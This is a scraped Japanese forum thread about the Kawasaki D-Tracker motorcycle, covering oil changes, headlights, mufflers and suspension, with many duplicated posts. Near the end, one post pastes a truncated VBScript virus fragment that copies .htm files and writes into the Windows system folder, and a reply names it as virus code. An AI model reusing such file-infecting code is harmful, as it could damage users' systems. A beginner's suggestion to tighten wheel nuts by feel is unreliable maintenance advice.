ｼﾙｺﾘﾝ入れつつ1500kmでｵｲﾙ交換してる｡
粘度が生きてるうちに変えてやらないと
ｼﾙｺﾘﾝ入れつつ1500kmでｵｲﾙ交換してる｡
粘度が生きてるうちに変えてやらないと
もう少しOILについて調べてみたら如何。
早期のOIL交換と高級OILは意外と無駄だと判るはず。
OILはメチャクチャ儲かるから、メーカーが喜ぶだけだよ。
早期のOIL交換と高級OILは意外と無駄だと判るはず。
OILはメチャクチャ儲かるから、メーカーが喜ぶだけだよ。
336 ：７７４ＲＲ：05/02/18 22:50:40 ID:3lAYnr7O
>>332漏れのは315のﾋﾞｰﾄﾌﾙｷｯﾄの仕様なんでそうしてる。いい状態が少しでも長く続くなら安いものだと思ってね。
337 ：７７４ＲＲ：05/02/18 22:56:45 ID:3lAYnr7O
>>335そうでもないと思うよ。それなりの仕様にしてると純正じゃあ約不足じゃないかな？それなら、GPﾚｰｻｰのマシンも純正で十分じゃないの？
役者不足ね
339 ：７７４ＲＲ：05/02/18 23:10:08 ID:7tUMtlZ4
250SBがニューグラフィックになりましたとさ。
まぁSTDのｴﾝｼﾞﾝだったら純正でも十分じゃない？俺はそれなりに全部やってるから純正じゃ…
OILは色々使って自分のﾌｨｰﾘﾝｸﾞに合うものを探すのもまた(ry
OILは色々使って自分のﾌｨｰﾘﾝｸﾞに合うものを探すのもまた(ry
>>332
1500kmで交換ですか～。やっぱ僕より早いですね。
>>335
行きつけのバイク屋の人が100％化学合成オイルを3000kmで交換していれば問題ないと言っていました。
ですが、自分の車両は292ccにボアアップしてあって、結構回して走るんで、
このスレの人の意見を聞きたくて、書き込んだんです。
yahoo掲示板のオイルのトピも読んでみたのですが、あれは四輪の話ですし、
オイルの温度が四輪と比較して高くなる二輪だと、早期交換が良いのではないかと思うのですが、
どうなんでしょうか？
僕はモチュール5100から300Vに換えたとき、吹け上がり、ギアの入りも良くなったと感じたので
高いオイルもいいものだと思いましたよ。
>>336
確かに、長い間乗りたいから大切にしたいですよね。
1500kmで交換ですか～。やっぱ僕より早いですね。
>>335
行きつけのバイク屋の人が100％化学合成オイルを3000kmで交換していれば問題ないと言っていました。
ですが、自分の車両は292ccにボアアップしてあって、結構回して走るんで、
このスレの人の意見を聞きたくて、書き込んだんです。
yahoo掲示板のオイルのトピも読んでみたのですが、あれは四輪の話ですし、
オイルの温度が四輪と比較して高くなる二輪だと、早期交換が良いのではないかと思うのですが、
どうなんでしょうか？
僕はモチュール5100から300Vに換えたとき、吹け上がり、ギアの入りも良くなったと感じたので
高いオイルもいいものだと思いましたよ。
>>336
確かに、長い間乗りたいから大切にしたいですよね。
342 ：７７４ＲＲ：05/02/18 23:49:29 ID:YqTZSumn
リッター800～1500円くらいのオイルを3～5000km毎に交換で
すでに10万キロ以上乗ってますが何か？
いまだにレブるくらいまで回すことも普通にありますよ
すでに10万キロ以上乗ってますが何か？
いまだにレブるくらいまで回すことも普通にありますよ
344 ：７７４ＲＲ：05/02/19 00:36:50 ID:McdDfr8J
346 ：７７４ＲＲ：05/02/19 00:43:07 ID:McdDfr8J
>>343それと、エンジンは上迄回って当たり前です。様はいかにﾛｽを減らし、エンジンにいいか！じゃないの？ｶｰﾎﾞﾝやｷｽﾞ、抵抗その他を減らすために良いｵｲﾙ入れるんじゃないの？
「長い間乗りたいから」やったんとちゃうんか
じゃあ俺の出る幕ないよ
そこまで神経質にパワー求めてないもん(´･ω･｀)
じゃあ俺の出る幕ないよ
そこまで神経質にパワー求めてないもん(´･ω･｀)
まあその辺は個人の意識だからね。
気にする人、気にしない人、いろいろだと思う。
ところでフラッシングって効果あるのかな？
気にする人、気にしない人、いろいろだと思う。
ところでフラッシングって効果あるのかな？
349 ：７７４ＲＲ：05/02/19 00:59:58 ID:McdDfr8J
>>347長い間乗るためにだよ。それに神経質でもない。通勤にも使うし峠も攻めるしね。色々な使い方するから保険みたいなもの。
350 ：みるく ◆GASNOWzado ：05/02/19 02:01:37 ID:VH2S8avV
>>341氏
3000キロってのは一つの目安でしょうね。
抜く時のオイルの状態見て、交換時期探るのも良いかもです。
でも早過ぎる交換はデメリット無いけど、遅い交換は後々効いてきますからね。
まだ交換早かったかな？ってくらいが、一番良いと思いますよ。
ちなみにヲイラはあぬえ仕様で1000キロ以内で交換します。
イベント前は距離関係無しに交換だし。
オイルは300Vコンペ。
300Vも5100も平行物ならあんまり値段変わらないでしょ？
300Vが1L1500～1700円程度、5100が1200～1400円程度だったと思う。
Dトラならオイル容量も少ないしね。
3000キロってのは一つの目安でしょうね。
抜く時のオイルの状態見て、交換時期探るのも良いかもです。
でも早過ぎる交換はデメリット無いけど、遅い交換は後々効いてきますからね。
まだ交換早かったかな？ってくらいが、一番良いと思いますよ。
ちなみにヲイラはあぬえ仕様で1000キロ以内で交換します。
イベント前は距離関係無しに交換だし。
オイルは300Vコンペ。
300Vも5100も平行物ならあんまり値段変わらないでしょ？
300Vが1L1500～1700円程度、5100が1200～1400円程度だったと思う。
Dトラならオイル容量も少ないしね。
351 ：ヽ(ﾟ()ﾟ)ﾉF.SPEEDIN' ◆5iftiL2q1s ：05/02/19 02:11:11 ID:INz4qief
自分ｵｲﾙ変えるのめんどくさｰ
ﾊﾞｲｸ屋に頼む
その内自分でやるようにしたい
CB750FCのｴﾝｼﾞﾝばらしたり組んだりしてるﾔｼが友達でいるから､ご指導賜ろ
ﾊﾞｲｸ屋には2000㌔交換勧められてるよ
SFとちがって1回の交換ｵｲﾙ量少ないから安く感じるし､ｴﾝｼﾞﾝの寿命伸びるならいいよ!
そろそろﾉｰﾏﾙから脱却し､ﾏﾌﾗｰやﾗｲﾄを縦目2灯に変えたい
よく見るけど､最初に見たのが縦目に変えてるのを見て(･∀･)ｶｺｲｲ!
と思ったのがD虎との出会いですた
ﾊﾞｲｸ屋に頼む
その内自分でやるようにしたい
CB750FCのｴﾝｼﾞﾝばらしたり組んだりしてるﾔｼが友達でいるから､ご指導賜ろ
ﾊﾞｲｸ屋には2000㌔交換勧められてるよ
SFとちがって1回の交換ｵｲﾙ量少ないから安く感じるし､ｴﾝｼﾞﾝの寿命伸びるならいいよ!
そろそろﾉｰﾏﾙから脱却し､ﾏﾌﾗｰやﾗｲﾄを縦目2灯に変えたい
よく見るけど､最初に見たのが縦目に変えてるのを見て(･∀･)ｶｺｲｲ!
と思ったのがD虎との出会いですた
縦目弐灯ｶｯｺｲｲがやってる人多い(･∀･)ｲｲ!!
そこでｻｲｸﾛﾌﾟｽなんなよさげ……変体ﾁｯｸでw
縦目より少し明るいメリットあるし
漏れは夜走るのでノーマルが一番!ﾓﾃﾞﾙﾁｪﾝｼﾞ後のﾒｰﾀﾊﾞｲｻﾞｰに変更したいなぁ
そこでｻｲｸﾛﾌﾟｽなんなよさげ……変体ﾁｯｸでw
縦目より少し明るいメリットあるし
漏れは夜走るのでノーマルが一番!ﾓﾃﾞﾙﾁｪﾝｼﾞ後のﾒｰﾀﾊﾞｲｻﾞｰに変更したいなぁ
354 ：みるく ◆GASNOWzado ：05/02/19 07:34:47 ID:VH2S8avV
高級オイルで寿命が延びるって事は少ないと思うよ。
オイルが原因のトラブルでエンジン寿命が縮むのを防ぐ効果は期待できると思うけど。
>>353氏
1Lが1500円のオイルは十分高級オイルだと思うけど・・・
300Vが買えるんだし。
具体的にはどんな銘柄入れてるんですか？
それと元ネタはチューンエンジンにって事だったんじゃないかな？
貴方のエンジンの仕様はどうなのかな？
まあ10万キロってのは凄いけどね。
走ったバイクも、飽きずに乗り続けた貴方もね。
オイルが原因のトラブルでエンジン寿命が縮むのを防ぐ効果は期待できると思うけど。
>>353氏
1Lが1500円のオイルは十分高級オイルだと思うけど・・・
300Vが買えるんだし。
具体的にはどんな銘柄入れてるんですか？
それと元ネタはチューンエンジンにって事だったんじゃないかな？
貴方のエンジンの仕様はどうなのかな？
まあ10万キロってのは凄いけどね。
走ったバイクも、飽きずに乗り続けた貴方もね。
田舎じゃ1500円で300Vなんて買えねえよ(´･ω･｀)
ホムセンのスカトロとかのオイルのちょっといい奴止まり
銘柄はそのときの気分と財布次第
エンジンは堂々と書けないくらいのいじり方はしてます
ホムセンのスカトロとかのオイルのちょっといい奴止まり
銘柄はそのときの気分と財布次第
エンジンは堂々と書けないくらいのいじり方はしてます
縦目二灯にしてた頃､ﾚﾝｽﾞ自体が小さいせいか夜になると右折車両がよく突っ込んできてた｡
相手の運転手もﾋﾞｯｸﾘ顔だったからまさかそんなに近くに居ると思わなかったのだろう｡
そんな訳で今はX-FUNの四角目
相手の運転手もﾋﾞｯｸﾘ顔だったからまさかそんなに近くに居ると思わなかったのだろう｡
そんな訳で今はX-FUNの四角目
'03Dトラのサービスマニュアル補足版をインターネットで購入しました。いざ届いてみると
'02までしか収録されていません。ショップのミスですか？それとも'01,02と一緒
だから省略されてるんですか？どなたか教えてくださいエロイひと
'02までしか収録されていません。ショップのミスですか？それとも'01,02と一緒
だから省略されてるんですか？どなたか教えてくださいエロイひと
>>355
変わった趣味をお持ちで。
変わった趣味をお持ちで。
359 ：７７４ＲＲ：05/02/19 12:16:09 ID:e6TklemR
>>355
まさか！ 伝説の365とか?
まさか！ 伝説の365とか?
360 ：７７４ＲＲ：05/02/19 12:19:51 ID:TwOkSvCo
時々雑誌とかでハンドルバーからウィンカー吊るした？ような形のD虎を見るんですが、
あれってどうやってるんですか？キットとかあるんですかね？
あれってどうやってるんですか？キットとかあるんですかね？
>>357
俺規制前だから新しいのは良く分からんけど、02と03って特に変更ないんじゃない？
01～03の間ってグラフィックくらいかな？
03までの補足版が出てるなら一応交換してもらったほうが良いかもね。
ちなみに俺も02までの補足版持ってます。
俺規制前だから新しいのは良く分からんけど、02と03って特に変更ないんじゃない？
01～03の間ってグラフィックくらいかな？
03までの補足版が出てるなら一応交換してもらったほうが良いかもね。
ちなみに俺も02までの補足版持ってます。
362 ：７７４ＲＲ：05/02/19 14:39:51 ID:McdDfr8J
>>355否定はしない。でもいい状態が少しでも永く続くなら入れるんじゃないの？言えないくらいｲｼﾞﾘｰならなおさらだと思うよ。通販とかもあるしね。
363 ：７７４ＲＲ：05/02/19 14:59:11 ID:aOf3S7SD
>>356
俺も以前、縦二灯付けてて速攻でギブリに換えた。
メチャクチャ暗いし、対向車からは眩しがられてパッシングの嵐。
夜に走るのがイヤになった経験がある。
形は好みの問題だが俺は縦二灯はかっこいいと思わない。
俺も以前、縦二灯付けてて速攻でギブリに換えた。
メチャクチャ暗いし、対向車からは眩しがられてパッシングの嵐。
夜に走るのがイヤになった経験がある。
形は好みの問題だが俺は縦二灯はかっこいいと思わない。
2灯系マスクは以前付けてみたかったけど、
無車検なのを逆手にとってやりたい放題やってるDQNの象徴みたいでやめた。
絶対的に光量足りてないし、外国製だからレンズカットが左側通行用になってないらしい。
あと、本気でDトラ改造している人は、意外とノーマルマスクなんだよね。
KLXのライトがオフ車の中で一番明るいらしい。
というわけで、ノーマルのライトユニットつかってマスクだけ交換を計画中。
DRZのマスクにするかな。
無車検なのを逆手にとってやりたい放題やってるDQNの象徴みたいでやめた。
絶対的に光量足りてないし、外国製だからレンズカットが左側通行用になってないらしい。
あと、本気でDトラ改造している人は、意外とノーマルマスクなんだよね。
KLXのライトがオフ車の中で一番明るいらしい。
というわけで、ノーマルのライトユニットつかってマスクだけ交換を計画中。
DRZのマスクにするかな。
365 ：７７４ＲＲ：05/02/19 16:22:58 ID:e6TklemR
縦２灯みると、ウルトラシリーズの怪獣思い出す。
366 ：みるく ◆GASNOWzado ：05/02/19 16:31:21 ID:VH2S8avV
ヲイラは昨晩ギブリのライトに交換しました。
なんてタイムリーな話題ｗ
交換の際に気付いたのは重量の違い。
同じガラスレンズながら重量は2/3～半分くらいじゃないかな？
（ガラス面積と取り付けステーの違いでしょうけど）
持ち比べたらあまりの違いにびっくり。
まだ試乗はしてないけど、ハンドリングにも影響有ると思う。
ヲイラは以前乗ってた93KLXのフロントマスクが全トレールの中で
一番の思い入れが有ったから、現行のシェルパマスクに違和感だらけだった。
ノーマルは明るくて良いのはセロで実感しててるのだけど
夜走ることはマレだから良いかってかんじ。
一応リレーかましてハイだけが110Wのバルブ入れたしｗ
なんてタイムリーな話題ｗ
交換の際に気付いたのは重量の違い。
同じガラスレンズながら重量は2/3～半分くらいじゃないかな？
（ガラス面積と取り付けステーの違いでしょうけど）
持ち比べたらあまりの違いにびっくり。
まだ試乗はしてないけど、ハンドリングにも影響有ると思う。
ヲイラは以前乗ってた93KLXのフロントマスクが全トレールの中で
一番の思い入れが有ったから、現行のシェルパマスクに違和感だらけだった。
ノーマルは明るくて良いのはセロで実感しててるのだけど
夜走ることはマレだから良いかってかんじ。
一応リレーかましてハイだけが110Wのバルブ入れたしｗ
自分のはＫＳＲ顔＋丸目埋め込み＋ＨＩＤです。
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050219173024.jpg
ただ、つい先日このＤトラは手放してしまいました。
でも顔は保管してあるのでそのうちヤフオクに出しちゃうかもです。
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050219173024.jpg
ただ、つい先日このＤトラは手放してしまいました。
でも顔は保管してあるのでそのうちヤフオクに出しちゃうかもです。
>>367
ザク。
ザク。
ﾜﾛｽｗｗｗｗ
370 ：７７４ＲＲ：05/02/19 19:21:38 ID:e6TklemR
ブレーキホースメッシュじゃん。
371 ：ヽ(ﾟ()ﾟ)ﾉF.SPEEDIN' ◆5iftiL2q1s ：05/02/19 20:00:47 ID:INz4qief
やっぱ縦二灯暗いのか(´･ω･`)ｼｮﾎﾞｰﾝ
前にもそういうﾚｽありましたね
夜走るから暗いのせま(ry
安全とかっこ良さだったら安全選びます
ﾉｰﾏﾙでも夜走っててΣ(･д･;)!!と思う事あるのに…
ﾉｰﾏﾙが一番ですかね('A`)
前にもそういうﾚｽありましたね
夜走るから暗いのせま(ry
安全とかっこ良さだったら安全選びます
ﾉｰﾏﾙでも夜走っててΣ(･д･;)!!と思う事あるのに…
ﾉｰﾏﾙが一番ですかね('A`)
これ俺の顔と同じです。
ウィンカーはワレンズウィンカーでフォグも付いてないけど。
因みにブルーのハイワッテージバルブは俺も持ってますけど。
ほんとに真っ青な光でノーマルよりも暗くなりますよ。
白いハイワッテージバルブも持ってますが発熱量が大きいので
プラのベースが溶けて変形してしまったので今はノーマルバルブに
戻しました。
別に暗いとは思わないけど、スポットライトだから照らす範囲が
狭いですよね確かに。
あと、ポン付けだとライトが上向きになるのでステーを加工して
下向きに照らすようにしてあります。
ウィンカーはワレンズウィンカーでフォグも付いてないけど。
因みにブルーのハイワッテージバルブは俺も持ってますけど。
ほんとに真っ青な光でノーマルよりも暗くなりますよ。
白いハイワッテージバルブも持ってますが発熱量が大きいので
プラのベースが溶けて変形してしまったので今はノーマルバルブに
戻しました。
別に暗いとは思わないけど、スポットライトだから照らす範囲が
狭いですよね確かに。
あと、ポン付けだとライトが上向きになるのでステーを加工して
下向きに照らすようにしてあります。
いっそのことスポット3個でガトリング風にすれば。
>>350
うちの近所じゃモチュールの平行物が手に入らないですよね・・・
しかも、最近じゃメーカー側代理店が圧力かけてるみたいで、並行物が減ってきてるとか。
だから、正規品の300V 4T sport使ってます。2500円位です。
あと、粘度って15w-50の方がいいんですか？
僕はいつも10w-40なんですけど、ボアアップしたら粘度を上げた方がいいんですかね？
うちの近所じゃモチュールの平行物が手に入らないですよね・・・
しかも、最近じゃメーカー側代理店が圧力かけてるみたいで、並行物が減ってきてるとか。
だから、正規品の300V 4T sport使ってます。2500円位です。
あと、粘度って15w-50の方がいいんですか？
僕はいつも10w-40なんですけど、ボアアップしたら粘度を上げた方がいいんですかね？
377 ：みるく ◆GASNOWzado ：05/02/20 00:32:07 ID:zo2RO1R2
確かにモチュールジャパンの圧力で平行物は減ったし
価格も上がったね。
（そのかわり正規品の実勢小売価格は下がったけど）
それでもヲイラは車屋の連れ通じて入手し続けてます。
メチャ田舎でホムセンすらまともなの無い地域だけどｗ
粘度は好みとバイクの相性有るだろうけど
ヲイラは15W50使ってます。
冬場でも水温上昇激しいし、エンジンも熱くなってるから。
ってか、他の所有バイクでも使えるようにコンペしか買ってない事情もあるけど。
価格も上がったね。
（そのかわり正規品の実勢小売価格は下がったけど）
それでもヲイラは車屋の連れ通じて入手し続けてます。
メチャ田舎でホムセンすらまともなの無い地域だけどｗ
粘度は好みとバイクの相性有るだろうけど
ヲイラは15W50使ってます。
冬場でも水温上昇激しいし、エンジンも熱くなってるから。
ってか、他の所有バイクでも使えるようにコンペしか買ってない事情もあるけど。
378 ：７７４ＲＲ：05/02/20 01:42:49 ID:HO7U0rAC
http://www.studio-tac.jp/book/file/kawasaki/klx/index.html
カワサキDトラッカー/KLXカスタム&メンテナンス
価格： ￥3,675 （税込）
出版社: スタジオタッククリエイティブ
これ買った人に質問したいのですが、
・メンテナンスにはフロントフォークのオイル交換はのってますか？
・タイヤ交換時のトルク数はのってますか？
よろしくお願いします
カワサキDトラッカー/KLXカスタム&メンテナンス
価格： ￥3,675 （税込）
出版社: スタジオタッククリエイティブ
これ買った人に質問したいのですが、
・メンテナンスにはフロントフォークのオイル交換はのってますか？
・タイヤ交換時のトルク数はのってますか？
よろしくお願いします
>>379
フロントフォークのオーバーホールとしてのってまつ。トルク数は・・・のってないみたいでつ。
素人だから買ってみたけど、写真が結構のっててわかりやすそうですよ。←実際やってないのでわからんがするときは参考にします。
基本的なブレーキパット、オイル、フィルターの交換から、ふよふ化、キャストホイール化、KLEEN
のキャンセルの仕方などのってまつ。
フロントフォークのオーバーホールとしてのってまつ。トルク数は・・・のってないみたいでつ。
素人だから買ってみたけど、写真が結構のっててわかりやすそうですよ。←実際やってないのでわからんがするときは参考にします。
基本的なブレーキパット、オイル、フィルターの交換から、ふよふ化、キャストホイール化、KLEEN
のキャンセルの仕方などのってまつ。
>>379
その本で全てが出来ると言うわけではないですよ。
ただ、こんなことが出来るんだとか自分で出来そうだと思わせる眺めると楽しい本です。
本格的にふよふ化するのには、やはりサービスマニュアルが必要です。
その本で全てが出来ると言うわけではないですよ。
ただ、こんなことが出来るんだとか自分で出来そうだと思わせる眺めると楽しい本です。
本格的にふよふ化するのには、やはりサービスマニュアルが必要です。
382 ：７７４ＲＲ：05/02/20 11:18:19 ID:jUsaIgTS
それだけじゃ駄目です！ある程度(素人)ﾚﾍﾞﾙの知識じゃやらない方がまし。ﾊﾞﾙﾀｲやｶﾑのﾀｲﾐﾝｸﾞ等は合わせるのがかなり困難だと思うよ。あの本は、触りだけで全く役に立たない。見るだけもしくはこんな事も出来るのね程度でみる本。
>>382
＞あの本は、触りだけで全く役に立たない。
サービスマニュアルも同様に概要だけでまったく役に立たないと思う。
サービスマニュアルが教科書で、社外本は解法を図解で載せた参考書みたいなもの。
最終的な原理、定理(設定値、基準値)を学びたいなら教科書に行き着くけど、
解法(作業方法)だけを習得したいなら参考書の方が有用。
あと参考書には、技術と経験と設備が備わった上でできる内容も掲載されているので、
自分の環境でどこまでできるか見極める必要はあるかと。
＞あの本は、触りだけで全く役に立たない。
サービスマニュアルも同様に概要だけでまったく役に立たないと思う。
サービスマニュアルが教科書で、社外本は解法を図解で載せた参考書みたいなもの。
最終的な原理、定理(設定値、基準値)を学びたいなら教科書に行き着くけど、
解法(作業方法)だけを習得したいなら参考書の方が有用。
あと参考書には、技術と経験と設備が備わった上でできる内容も掲載されているので、
自分の環境でどこまでできるか見極める必要はあるかと。
384 ：７７４ＲＲ：05/02/20 19:03:08 ID:3XlrZ66D
385 ：ひみつの検疫さん：2025/03/24(月) 00:15:45 ID:MarkedRes
汚染を除去しました。
386 ：７７４ＲＲ：05/02/20 20:11:47 ID:KeWWKMBY
だまってソーラムのＨＩＤつければ解決。
387 ：７７４ＲＲ：05/02/20 20:23:49 ID:7qWPDzVf
>>378
武川のストリームラインウインカーってやつです。防振構造でｲｲ!ですよ。
ttp://www.bike.ne.jp/shopping/takegawa/takegawa15_p242.htm
>>384
ごめんなさい。。
武川のストリームラインウインカーってやつです。防振構造でｲｲ!ですよ。
ttp://www.bike.ne.jp/shopping/takegawa/takegawa15_p242.htm
>>384
ごめんなさい。。
389 ：７７４ＲＲ：05/02/20 21:51:22 ID:mcewxw01
390 ：７７４ＲＲ：05/02/20 22:15:10 ID:dZyk7rah
ホワイトブロスってDQNパーツ寄り？
391 ：７７４ＲＲ：05/02/20 22:17:41 ID:pw23/LoS
一流じゃ！高過ぎる
392 ：７７４ＲＲ：05/02/20 22:23:12 ID:mcewxw01
サンヨー●クニ●のＨＩＤは凄く評判悪いですね・・・・
安いからついつい・・・ｷﾀ━━━(ﾟ∀ﾟ)━( ﾟ∀)━( ﾟ)━( )━( )━(ﾟ )━(∀ﾟ )━(ﾟ∀ﾟ)━━━!!
なんて思っちゃいましたよ。
安いからついつい・・・ｷﾀ━━━(ﾟ∀ﾟ)━( ﾟ∀)━( ﾟ)━( )━( )━(ﾟ )━(∀ﾟ )━(ﾟ∀ﾟ)━━━!!
なんて思っちゃいましたよ。
㌧クス
初心者ですので写真付きがｲｲかと思いましたので
質問させていただきました
タイヤ交換はトルクはあんまし気にしないで
いいかなと思うので（メガネレンチでぎゅぎゅと締めたらいいかな）
この本買おうかと思います
フロントフォークについては
FUNKY GLIDE-KIT
ttp://www.eonet.ne.jp/~powersports/FUNKY%20GLIDE-KIT%20250SB%20D-Tracker%20main.html
これの購入をオーバーホールついでに購入しようと思っていますので
フロントフォークの交換について知りたかったのです。
質問ついでにこのｻｽ購入者っています？
初心者ですので写真付きがｲｲかと思いましたので
質問させていただきました
タイヤ交換はトルクはあんまし気にしないで
いいかなと思うので（メガネレンチでぎゅぎゅと締めたらいいかな）
この本買おうかと思います
フロントフォークについては
FUNKY GLIDE-KIT
ttp://www.eonet.ne.jp/~powersports/FUNKY%20GLIDE-KIT%20250SB%20D-Tracker%20main.html
これの購入をオーバーホールついでに購入しようと思っていますので
フロントフォークの交換について知りたかったのです。
質問ついでにこのｻｽ購入者っています？
ホワイトブロスのマフラーは安かったですよ
他のマフラーに比べてですけど
ホワイトブロス Eシリーズ 定価(税込) \31,290
ttp://www.webike.net/catalogue/muffler_whitebros.html
ちなみに、爆音でバッフル欲しくなります
他のマフラーに比べてですけど
ホワイトブロス Eシリーズ 定価(税込) \31,290
ttp://www.webike.net/catalogue/muffler_whitebros.html
ちなみに、爆音でバッフル欲しくなります
396 ：７７４ＲＲ：05/02/20 23:27:28 ID:4D0+h448
スリップサインが出てるのでそろそろタイヤ交換しようと思うんだけど
GPR-70SPかTT900GPかどっち履かせるか迷ってます。
ぶっちゃけラジアルは必要ないでつか？
GPR-70SPかTT900GPかどっち履かせるか迷ってます。
ぶっちゃけラジアルは必要ないでつか？
>>393
使っていますよ
サスがしっかりしていいですよ。
フロントするならリヤもした方がいいですよ。
フロント上がりな感じになりますから。(ショックの沈み込みが違ってしまうから)
スローでのブレーキングで路面の段差にフロントが取られる事がなくなります。
ハイグリップタイヤを装着すると攻める事ができるようになります。
フロントブレーキも交換したくなる。
使っていますよ
サスがしっかりしていいですよ。
フロントするならリヤもした方がいいですよ。
フロント上がりな感じになりますから。(ショックの沈み込みが違ってしまうから)
スローでのブレーキングで路面の段差にフロントが取られる事がなくなります。
ハイグリップタイヤを装着すると攻める事ができるようになります。
フロントブレーキも交換したくなる。
うんうん、好きにすればいい。
デブでもヲタクでもモタード気取りで乗ってるんだから、ライトくらいどうってことない。
デブでもヲタクでもモタード気取りで乗ってるんだから、ライトくらいどうってことない。
金があるならGPRで無いならTT900GPでどうよ？
俺ならGPR-100いれてインプレしてほしい
俺ならGPR-100いれてインプレしてほしい
401 ：７７４ＲＲ：05/02/20 23:50:52 ID:jUsaIgTS
>>397ﾌﾛﾝﾄ・ﾘﾔｻｽ・ﾀｲﾔ全てﾉｰﾏﾙでｽﾃｯﾌﾟ削る位、攻められるけど･･････。
402 ：７７４ＲＲ：05/02/21 00:05:40 ID:+brFBeks
>>395
ホワイトブロスってスパトラ系なの？性能云々の製品ではない？
ていうか、スリップオンで、キャブセッティングもして、
そこそこパワーアップが感じられるマフラーって何かおすすめありますか？
ヨシムラとかですかね
ホワイトブロスってスパトラ系なの？性能云々の製品ではない？
ていうか、スリップオンで、キャブセッティングもして、
そこそこパワーアップが感じられるマフラーって何かおすすめありますか？
ヨシムラとかですかね
403 ：７７４ＲＲ：05/02/21 00:38:48 ID:YloGDsus
>>395
同じホワイトブロスでも、仕様が色々あるようです。
きちんとした奴は、エキパイがサイレンサーに近づくに従って、
太くなるテーパー形状になってます。
但し、フルエキ交換になってしまうかも。
（詳細は記憶曖昧なので・・・）
インチキなのは、同じ太さのパイプのままサイレンサーに接続・・・。
ダサ。
同じホワイトブロスでも、仕様が色々あるようです。
きちんとした奴は、エキパイがサイレンサーに近づくに従って、
太くなるテーパー形状になってます。
但し、フルエキ交換になってしまうかも。
（詳細は記憶曖昧なので・・・）
インチキなのは、同じ太さのパイプのままサイレンサーに接続・・・。
ダサ。
406 ：７７４ＲＲ：05/02/21 08:56:54 ID:3DvIbCla
>>405腕だよ。足回りﾄﾞﾉｰﾏﾙである程度走れなきゃ、いじってもわかんないんじゃないの？
そうだよね
ノーマルで走行会に連れていかれるまでは普通に
ついていけると思っていたからね
ノーマルで走行会に連れていかれるまでは普通に
ついていけると思っていたからね
408 ：７７４ＲＲ：05/02/21 11:14:16 ID:3DvIbCla
走行会のﾚﾍﾞﾙにもよるけどね。まあ、ある程度走れて何処が不満かわからなければ、良いﾊﾟｰﾂ付けてもﾎﾟﾝｽﾞｹで意味ない。特に足回りは。
Dトラの場合はハイグリップタイヤを履くと誰かしら不満を持つと思われる
それだけ用途が違うからと思われる
グライドライドのHPを見るとイベントがあるみたいだが参加するﾔｼはいるのか？
それだけ用途が違うからと思われる
グライドライドのHPを見るとイベントがあるみたいだが参加するﾔｼはいるのか？
410 ：７７４ＲＲ：05/02/21 15:37:34 ID:6b4NZESU
プラグキャップ外したらまったくはまらなくなって、
先端のゴム外したら簡単にはまったんだけど、
この状態だとヤバイ？他にこうなった人いない？付け方とかある？
先端のゴム外したら簡単にはまったんだけど、
この状態だとヤバイ？他にこうなった人いない？付け方とかある？
>>410はプラグの頭のダルマさんを付けっぱなしの人に20000ﾎﾞﾙﾄ
412 ：７７４ＲＲ：05/02/21 16:12:02 ID:6b4NZESU
>>411
今日初めてプラグの焼け具合ってのを見てみようと思ってキャップを外してみたら
奥まってるプラグを外せる工具がないことに気付いて、元に戻そうとした状態でこうなって、
よくわかりません・・・詳しく教えてもらえませんか
今日初めてプラグの焼け具合ってのを見てみようと思ってキャップを外してみたら
奥まってるプラグを外せる工具がないことに気付いて、元に戻そうとした状態でこうなって、
よくわかりません・・・詳しく教えてもらえませんか
413 ：７７４ＲＲ：05/02/21 16:28:58 ID:iyMbIBqe
力技しかねーんじゃね？ｸﾞﾘｸﾞﾘねじ込むように回していけばどっかで入る
Dトラッカー用のマフラーで「ワンパンチ」っていう名前のがあるのだけれども
あれを作っている会社ってどこでしたっけ？
詳しい人お願いします
あれを作っている会社ってどこでしたっけ？
詳しい人お願いします
冴えない名前だな。
自分のバイクに「ワンパンチ」なんて書いてあるマフラーが付いてたら、
俺なら鉄パイプでボコボコにして無かったものとする
俺なら鉄パイプでボコボコにして無かったものとする
俺が他人のに付いているのをみたら、何としてもPONCHに書き換える。
419 ：410：05/02/21 19:16:00 ID:6b4NZESU
四国のHoopsさんだっけかな＜ワンパンチ
>>419
ttp://www.ngk-sparkplugs.jp/sparkplugs/qanda/01_02.html
のターミナルのことかと。
プラグキャップを取っただけなら普通は元に戻せます。
プラグキャップの中を見て金属部分が曲がったりしてない？
ttp://www.ngk-sparkplugs.jp/sparkplugs/qanda/01_02.html
のターミナルのことかと。
プラグキャップを取っただけなら普通は元に戻せます。
プラグキャップの中を見て金属部分が曲がったりしてない？
422 ：７７４ＲＲ：05/02/21 19:55:56 ID:uKjB8FBa
アンパンチなら知ってんだけどな～
426 ：７７４ＲＲ：05/02/21 21:26:16 ID:GKIudLMe
ヤフオク見て気になってると思われる。
TBSっぽいよなんて妄想しながら。
TBSっぽいよなんて妄想しながら。
>>414
自分ワンパンチ付けてますよ。
自分ワンパンチ付けてますよ。
>>414
俺は彼女が妊娠したのでワンパンチ入れましたよ。
俺は彼女が妊娠したのでワンパンチ入れましたよ。
430 ：７７４ＲＲ：05/02/21 23:22:23 ID:3DvIbCla
>>429藻前が入れられたんだろ！
入れたから妊娠したんだろ。
責任はきっちり取るんだぞ！
責任はきっちり取るんだぞ！
ワンパンチってネーミングセンスゼロだなｗ
あっウケ狙いかｗ
あっウケ狙いかｗ
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
最近良く見るね、この手のウィルスコード
まぁノートンさん使ってないから全く反応しないわけだがｗ
ところで誰か東（ｈｉｇａｓｈｉ）のマフラー入れてる人居ませんか？
知り合いのDR‐Zについてるの見て一目ぼれしてるんですが
誰か代行輸入しているお店知りませんか？
KLX250＆300用しかなくて付くかも不明ですが･･･
音とルックスに惚れてるんで何とかならんものかなと･･･
DR-Z用を輸入してるとこに頼めば入れて貰えるのかな？
まぁノートンさん使ってないから全く反応しないわけだがｗ
ところで誰か東（ｈｉｇａｓｈｉ）のマフラー入れてる人居ませんか？
知り合いのDR‐Zについてるの見て一目ぼれしてるんですが
誰か代行輸入しているお店知りませんか？
KLX250＆300用しかなくて付くかも不明ですが･･･
音とルックスに惚れてるんで何とかならんものかなと･･･
DR-Z用を輸入してるとこに頼めば入れて貰えるのかな？
３ヶ月ほど動かさないのですが、
